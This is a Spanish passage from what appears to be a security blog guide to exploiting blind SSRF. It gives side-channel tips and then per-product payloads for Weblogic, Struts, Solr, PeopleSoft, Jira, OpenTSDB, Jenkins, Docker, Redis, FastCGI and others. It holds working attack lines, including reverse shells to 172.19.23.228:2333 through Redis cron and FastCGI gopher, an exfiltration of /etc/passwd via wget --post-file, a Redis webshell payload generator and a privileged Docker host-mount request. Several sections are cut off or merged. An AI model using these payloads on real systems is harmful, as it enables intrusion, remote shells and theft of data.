Puedes asumir que `es` significa Elasticsearch y luego realizar más ataques contra este host. También puedes lanzar todos estos payloads de SSRF ciego contra todos los hosts "internos" que hayas identificado mediante este método. Esto suele ser efectivo.

Para encontrar más hosts internos, recomiendo tomar todos tus datos DNS y luego usar algo como [AltDNS](https://github.com/infosec-au/altdns) para generar permutaciones y resolverlas con un [bruteforcer de DNS rápido](https://github.com/blechschmidt/massdns).

Una vez que esto esté completo, identifica todos los hosts internos recién descubiertos y úsalos como parte de tu cadena de SSRF ciego.

## Fugas de canal lateral

Al explotar vulnerabilidades de SSRF ciego, es posible que puedas filtrar algo de información sobre la respuesta que se devuelve. Por ejemplo, supongamos que tienes SSRF ciego a través de un XXE; los mensajes de error pueden indicar si:

- Se devolvió una respuesta  

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

vs.

- El host y el puerto son inalcanzables

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

De manera similar, fuera de los XXEs, una aplicación web también podría tener una fuga de canal lateral que se puede determinar inspeccionando las diferencias en:

- **Código de estado de la respuesta**: 

Activo interno en línea:puerto responde con `200 OK` vs activo interno fuera de línea:puerto `500 Internal Server Error`

- **Contenido de la respuesta**: 

El tamaño de la respuesta en bytes es menor o mayor dependiendo de si la URL que intentas solicitar es alcanzable o no.

- **Tiempo de respuesta**: 

Los tiempos de respuesta son más lentos o más rápidos dependiendo de si la URL que intentas solicitar es alcanzable o no.

---------------

# Técnicas
**Posible vía HTTP(s)**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Otros productos de Atlassian](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**Posible vía Gopher**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**Herramientas**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**Posible vía HTTP(s)**

<div id="elasticsearch"></div>

## Elasticsearch

**Puerto de escucha habitual: 9200**

Cuando Elasticsearch se despliega internamente, normalmente no requiere autenticación. 

Si tienes un SSRF parcialmente ciego en el que puedes determinar el código de estado, comprueba si los siguientes endpoints devuelven un 200:```http
/_cluster/health
/_cat/indices
/_cat/health

<div id="weblogic"></div>

## Weblogic

**Puertos comúnmente vinculados: 80, 443 (SSL), 7001, 8888**

**Canario SSRF: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Este endpoint también es vulnerable a la inyección CRLF:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

**SSRF Canary: CVE-2020-14883**

Tomado de [aquí](https://forum.90sec.com/t/topic/1412).

Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

<div id="consul"></div>

## Hashicorp Consul

**Puertos de escucha habituales: 8500, 8501 (SSL)**

El writeup se puede encontrar [aquí](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).

<div id="shellshock"></div>

## Shellshock

**Puertos de escucha habituales: 80, 443 (SSL), 8080**

Para probar Shellshock de manera efectiva, es posible que necesites añadir una cabecera que contenga el payload. Merece la pena probar las siguientes rutas CGI:

Breve lista de rutas CGI para probar:

[Gist con las rutas](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF Canary: Shellshock a través del User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Tareas de apagado, requiere que adivines los IDs de tarea o el nombre de la fuente de datos:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

<div id="solr"></div>

## Apache Solr

**Puerto comúnmente enlazado: 8983**

**Canario SSRF: Parámetro Shards**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">Para añadir a lo que dice shubham: escanear solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar que estás golpeando una instancia de solr a ciegas.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 de enero de 2021</a></blockquote>

Tomado de [aquí](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

**RCE a través de dataImportHandler**

[Investigación sobre RCE a través de dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**Puertos comúnmente asociados: 80,443 (SSL)**

Tomado de esta investigación [aquí](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**Canario SSRF: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

<div id="struts"></div>

## Apache Struts

**Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)**

Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).

**SSRF Canary: Struts2-016**:

Añade esto al final de cada endpoint/URL interna que conozcas:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

<div id="confluence"></div>

## Confluence

**Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: Sharelinks  (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

<div id="jira"></div>

## Jira

**Puertos de escucha habituales: 80,443 (SSL),8080,8443 (SSL)**

**Canario SSRF: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

<div id="atlassian-products"></div>

## Otros productos de Atlassian

**Puertos comúnmente enlazados: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

[Ejecución remota de código en OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: curl mediante RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

**RCE**

Sigue las instrucciones aquí para lograr RCE vía GET: [Hacking Jenkins Parte 2 - Abusando de la metaprogramación para RCE no autenticado!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

<div id="hystrix"></div>

## Hystrix Dashboard

**Puertos de enlace habituales: 80,443 (SSL),8080**

Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

**SSRF Canary**

El aviso de esta vulnerabilidad se publicó aquí: [Vulnerabilidad SSRF en W3 Total Cache](https://klikki.fi/adv/w3_total_cache.html)

Este código PHP generará un payload para tu host de SSRF Canary (reemplaza `url` con tu host canary):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

**RCE mediante la ejecución de una imagen docker arbitraria**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

**Posible a través de Gopher**

<div id="redis"></div>

## Redis

**Puerto comúnmente enlazado: 6379**

Lectura recomendada:

- [Intentando hackear Redis a través de solicitudes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Explotaciones SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**RCE mediante Cron** - [Superficies de ataque de Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

**RCE mediante subida de shell (PHP)** - [Resumen de Getshell en Redis](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

**RCE en GitLab mediante protocolo Git**

Excelente writeup de Liveoverflow [aquí](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).

Aunque esto requería acceso autenticado a GitLab para explotarse, incluyo el payload aquí ya que el protocolo `git` puede funcionar en el objetivo que estés atacando. Este payload es solo de referencia.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

<div id="tomcat"></div>

## Apache Tomcat

**Puertos de escucha habituales: 80,443 (SSL),8080,8443 (SSL)**

Efectivo solo contra Tomcat 6:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

Write-up de CTF que utiliza esta técnica:

[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**Puertos de escucha habituales: 80,443 (SSL)**

Esto fue tomado de [aquí](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

**Herramientas**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Entrada de blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

Esta herramienta genera payloads de Gopher para:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache


<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Entrada de blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser* es un escáner de vulnerabilidades de *Java RMI* que admite operaciones de ataque para las vulnerabilidades de *Java RMI*
más comunes. La mayoría de las operaciones disponibles admiten la opción ``--ssrf`` para generar un payload de *SSRF* para la
operación solicitada. Junto con la opción ``--gopher``, se pueden generar directamente payloads de *gopher* listos para usar.


<div id="ssrfproxy"></div>

## SSRF Proxy

- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy es un servidor proxy HTTP multihilo diseñado para tunelizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF).

---

Créditos:

Gracias a las siguientes personas que han contribuido a esta publicación:

- [@Rhynorater - Numerosas contribuciones a esta entrada de blog](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - Concepto de canarios SSRF](https://twitter.com/fransrosen)
- [@theabrahack - RCE vía Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE vía Java RMI](https://twitter.com/qtc_de)